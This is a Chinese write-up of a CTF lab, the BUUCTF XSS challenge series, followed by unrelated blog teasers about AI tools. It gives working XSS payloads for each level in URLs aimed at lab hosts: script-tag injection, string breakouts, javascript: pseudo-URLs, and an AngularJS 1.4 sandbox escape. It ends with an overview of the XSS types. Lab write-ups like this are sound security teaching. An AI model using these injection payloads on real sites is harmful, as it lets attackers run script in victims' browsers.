BUUCTF--[第二章 web进阶]XSS闯关

这次的主要内容是来自BUUCTF上的XSS闯关(附靶场链接:https://buuoj.cn/

一、解题思路

首先我们启动靶机进入靶场链接,优先查看使用说明。

这个靶场属于闯关模式,只有通过所有关卡最终才能拿到flag。

1.第一关

看到这个url,二话不说直接<script>alert(1)</script>,直接成功了。

http://ecf8eab1-d6c6-4579-bf2e-bc87be7d4199.node5.buuoj.cn:81/level1?username=<script>alert(1)</script>

2.第二关

到了第二关,还是先使用第一关的套路,但是页面上并没有回显,所以我选择查看源代码。

我发现源码中存在一个js代码编写的过滤代码,username被函数escape进行url编码

 <script type="text/javascript"> if(location.search == ""){ location.search = "?username=xss" //若是没有查询参数,就恢复默认值 } var username = 'xss'; //声明了一个变量username,并且把查询参数赋值给它(若是存在查询参数) document.getElementById('ccc').innerHTML= "Welcome " + escape(username); </script> 

所以我们在这里只需要绕过赋值的代码

var username = 'xss'; 

使用 '; 闭合前边的 ' 让这个语句结束,再加上alert(1);,并且在后边使用 ' 闭合后边的单引号

http://ecf8eab1-d6c6-4579-bf2e-bc87be7d4199.node5.buuoj.cn:81/level2?username=';alert(1);'

3.第三关

上来还是优先老套路,发现页面上还是没有任何回显,看源代码也是没有任何发现。

所以试试上关使用的方法,在页面上依旧没有任何回显,但是在源代码发现输入的查询参数中多了一个 / 和 ' 。

那我们需要想办法绕过这个,所以我们再第二关的方法上进行改造绕过,如下:

'';alert(1);'
http://ecf8eab1-d6c6-4579-bf2e-bc87be7d4199.node5.buuoj.cn:81/level3?username='';alert(1);'

4.第四关​

进入第四关之后我们发现当前页面一直在死循环,所以只能查看源代码

分析如下js代码(代码后有注释)

<script type="text/javascript"> var time = 10; //倒计时初始值 var jumpUrl; //存储跳转目标url if(getQueryVariable('jumpUrl') == false){ jumpUrl = location.href; //没有查询参数的时候跳转本页 }else{ jumpUrl = getQueryVariable('jumpUrl'); //调用查询参数 } setTimeout(jump,1000,time); //1秒后启动倒计时 function jump(time){ if(time == 0){ location.href = jumpUrl; //倒计时结束跳转 }else{ time = time - 1 ; //秒数递减1 document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`; //更新提示 setTimeout(jump,1000,time); //递归调用 } } function getQueryVariable(variable) { var query = window.location.search.substring(1); //获取查询参数 var vars = query.split("&"); //分割成键值对数组 for (var i=0;i<vars.length;i++) { var pair = vars[i].split("="); //分割键值 if(pair[0] == variable) { return pair[1];} //返回匹配值 } return(false); //没有找到查询参数就返回false } </script>

根据分析我们得知,代码中使用jumpUrl作为跳转目标url,所以我们可以使用javascript伪链接

浏览器就会在当前页面把javascript后边的内容直接当作代码执行。

jumpUrl=javascript:alert(1) 
http://a0c035b8-3968-49d7-8927-7a019a39a9b2.node5.buuoj.cn:81/level4?jumpUrl=javascript:alert(1)

5.第五关

进入第五关之后,我们发现页面中只存在一个查询表单,无论我们输入什么都会有报错的回显

我们直接查看源代码

分析如下js代码(后边附注释)

<script type="text/javascript"> if(getQueryVariable('autosubmit') !== false){ var autoForm = document.getElementById('autoForm'); autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action'); //动态设置表单目标地址 autoForm.submit(); //触发表单提交 }else{ } function getQueryVariable(variable) //下边的代码跟上一关的下半部分一样 { var query = window.location.search.substring(1); var vars = query.split("&"); for (var i=0;i<vars.length;i++) { var pair = vars[i].split("="); if(pair[0] == variable){return pair[1];} } return(false); } </script>

查看源代码之后,我们发现代码中定义了两个变量,所以我们直需要绕过这两个变量即可

url如下

http://a0c035b8-3968-49d7-8927-7a019a39a9b2.node5.buuoj.cn:81/level5?autosubmit=1&action=JavaScript:alert(1);//

6.第六关

进入第六关之后我优先尝试了一下老套路,发现输入的参数被直接打印在页面上

所以我直接查看源代码

发现如下js代码

 <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>

我点开这个网址发现页面上是一长串代码

这时候需要特别注意url,我也是后边才了解的知识

这里的话存在XSS模板注入(AngularJS客户端模板注入-Angular JS沙箱逃逸)

我们首先可以使用{{7*7}}payload验证是否存在,如下,页面直接打印出7*7的结果,所以是存在XSS漏洞的


Angular(版本号v1.4.0-v1.4.9)沙箱逃逸,payload如下

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

7.第七关

直接拿到flag

二、XSS漏洞介绍

1.XSS简介

跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆 故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的Script 代码会被执行,从而达到恶意攻击用户的目的。

2.XSS分类

(1)反射型XSS

攻击方式:攻击者通过钓鱼链接等方式诱导用户点击恶意url,当目标用户点击该url时,向对应的服务器发送请求,然后服务器将带有恶意代码的数据发送给目标用户的浏览器,浏览器解析服务器返回的代码,此前攻击者注入的恶意代码就会执行。

(2)存储型XSS

攻击方式:攻击者在发帖的过程中,将恶意代码连同正常信息一起注入帖子的内容中。攻击者发布的帖子会被服务器存储下来,恶意代码也永久的被放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。

(3)DOM型XSS

攻击方式:攻击者诱导用户点击恶意链接url:xxxxxxxxx.com/?xxx=<script>恶意代码</script>,然后客户端执行相关攻击代码,发送相关信息or相关操作。



DOM型与服务器没有关系,不需要与服务器进行交互,攻击纯粹发生在客户端。

Read more

想快速给前端加个AI小助手?这个CopilotKit神器,跟着一步步实战,感觉比想象中简单多了!

想快速给前端加个AI小助手?这个CopilotKit神器,跟着一步步实战,感觉比想象中简单多了!

最近你可能听过一个新的AG-UI(Agent-User InteractionProtocol)协议:定义了前端UI和后端Agent之间的集成标准。不过与MCP/A2A协议不同的是,AG-UI是从实际产品中提炼出来的标准。这个产品就是CopilotKit:一个强大的、用来集成前端UI与后端Agent的开源神器,也是AG-UI协议的参考实现。 本篇将结合实例,为你深入展示 CopilotKit 的核心能力。你不仅能掌握这一实用新工具,更能真正理解 AG-UI 协议的落地应用,摆脱停留在表面的概念认知。 * CopilotKit与AG-UI初探 * 构建一个CopilotKit的演示Demo * CopilotKit能力之:前后端State共享 * CopilotKit能力之:调用前端“工具” * CopilotKit能力之:基于Agent的生成式UI * CopilotKit能力之:HITL(人类参与流程) * 其他与总结 我们分成两篇一步步介绍(源代码见文末)。 开始前,欢迎了解本号重磅新作 01CopilotKit与AG-UI初探 【挑战在哪里】 MCP

2026 Python+AI 学习方向拆解:3 个高性价比赛道,新手优先学

2026 Python+AI 学习方向拆解:3 个高性价比赛道,新手优先学

欢迎文末添加好友交流,共同进步! “ 俺はモンキー・D・ルフィ。海贼王になる男だ!” * 前言 * 一、AI数据处理与分析赛道 * 1.1 为什么选择这个方向? * 1.2 核心技能树 * 1.3 实战代码示例 * 数据清洗与预处理 * 1.4 学习路线图 * 二、AI应用开发赛道(LLM + RAG) * 2.1 为什么选择这个方向? * 2.2 RAG技术架构流程 * 2.3 实战代码:构建RAG问答系统 * 2.4 学习路线图 * 三、AI自动化办公赛道 * 3.1 为什么选择这个方向? * 3.2 自动化办公应用场景 * 3.3 实战代码示例

2026最新免费白嫖全网最强AI大模型谷歌Gemini 3的6种方法,你值得体验

2026最新免费白嫖全网最强AI大模型谷歌Gemini 3的6种方法,你值得体验

免费白嫖全网最强AI大模型谷歌Gemini 3的6种方法,你值得体验 猫头虎AI开源技术分享 | AI工具实测 | 2025最新攻略 🚀 开篇:还在眼巴巴看着别人用Gemini 3? 哈喽,各位技术圈的小伙伴们,我是猫头虎!🐱🐯 最近后台被问爆了——“虎哥,Gemini 3到底怎么用上?有没有免费路子?” 看着别人拿着这个"全网最强AI大模型"各种秀操作,自己只能干瞪眼?别慌! 今天这篇文章,我扒遍了全网,亲测整理了6种真正免费的Gemini 3使用渠道!无论你是小白想尝鲜,还是开发者要接入API,总有一款适合你。 更重要的是——全部免费,即开即用! 💡 先收藏,再阅读,干货太满,怕你找不到! 文章目录 * 免费白嫖全网最强AI大模型谷歌Gemini 3的6种方法,你值得体验 * 🚀 开篇:还在眼巴巴看着别人用Gemini 3? * 🎯 6种免费使用Gemini 3的渠道详解 * 01. NiceAIGC.net

AI如何自动生成一线与二线产区标准图

快速体验 1. 打开 InsCode(快马)平台 https://www.inscode.net 2. 输入框内输入如下内容: 开发一个AI工具,能够根据输入的地理数据自动生成一线产区和二线产区的标准图。功能包括:1. 数据采集模块,支持导入行政区划、经济指标等数据;2. 分类算法,根据GDP、人口密度等指标自动划分一线和二线产区;3. 可视化模块,生成标准地图并支持交互式查看。使用Python和GeoPandas库实现数据分析和地图绘制,前端使用Leaflet.js展示。 1. 点击'项目生成'按钮,等待项目生成完整后预览效果 AI如何自动生成一线与二线产区标准图 最近在做一个地理信息相关的项目,需要根据经济指标自动划分一线和二线产区,并生成标准地图。经过一番摸索,发现用AI辅助开发可以大大提升效率。下面分享我的实现思路和具体步骤。 数据采集模块 1. 首先需要收集基础地理数据,包括行政区划边界、GDP总量、人均GDP、人口密度等关键指标。